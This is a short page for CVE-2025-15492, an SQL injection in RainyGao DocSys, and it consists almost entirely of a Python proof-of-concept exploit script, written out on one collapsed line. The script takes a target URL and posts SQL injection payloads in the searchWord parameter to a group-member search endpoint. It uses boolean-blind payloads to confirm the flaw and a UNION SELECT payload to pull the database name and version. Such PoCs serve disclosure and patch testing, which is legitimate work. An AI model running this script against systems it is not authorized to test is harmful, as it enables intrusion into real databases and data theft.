CVE-2025-15492 RainyGao DocSys SQL注入漏洞

import requests import sys # CVE-2025-15492 SQL Injection PoC for RainyGao DocSys # Target: RainyGao DocSys <= 2.02.36 # Vulnerability: SQL Injection in GroupMemberMapper.xml searchWord parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in GroupMemberMapper.xml The searchWord parameter is vulnerable to SQL injection """ # Construct the vulnerable endpoint endpoint = f"{target_url}/groupmember/search" # Malicious payload for SQL injection params = { 'searchWord': payload } try: response = requests.post(endpoint, data=params, timeout=10) return response except requests.RequestException as e: print(f"[!] Request failed: {e}") return None def boolean_blind_sqli(target_url): """ Boolean-based blind SQL injection test Extract database version information """ # True condition payload true_payload = "1' AND 1=1 -- " # False condition payload false_payload = "1' AND 1=2 -- " print("[*] Testing boolean-based blind SQL injection...") true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp: if len(true_resp.text) > len(false_resp.text): print("[+] Boolean-based blind SQL injection confirmed!") return True return False def union_based_sqli(target_url): """ UNION-based SQL injection to extract database information """ # UNION injection to get database version union_payload = "1' UNION SELECT NULL,database(),version(),NULL,NULL -- " print("[*] Testing UNION-based SQL injection...") response = exploit_sqli(target_url, union_payload) if response and 'error' not in response.text.lower(): print("[+] UNION-based SQL injection may be possible!") print(f"[i] Response snippet: {response.text[:500]}") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/docsys") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15492 SQL Injection PoC") boolean_blind_sqli(target) union_based_sqli(target)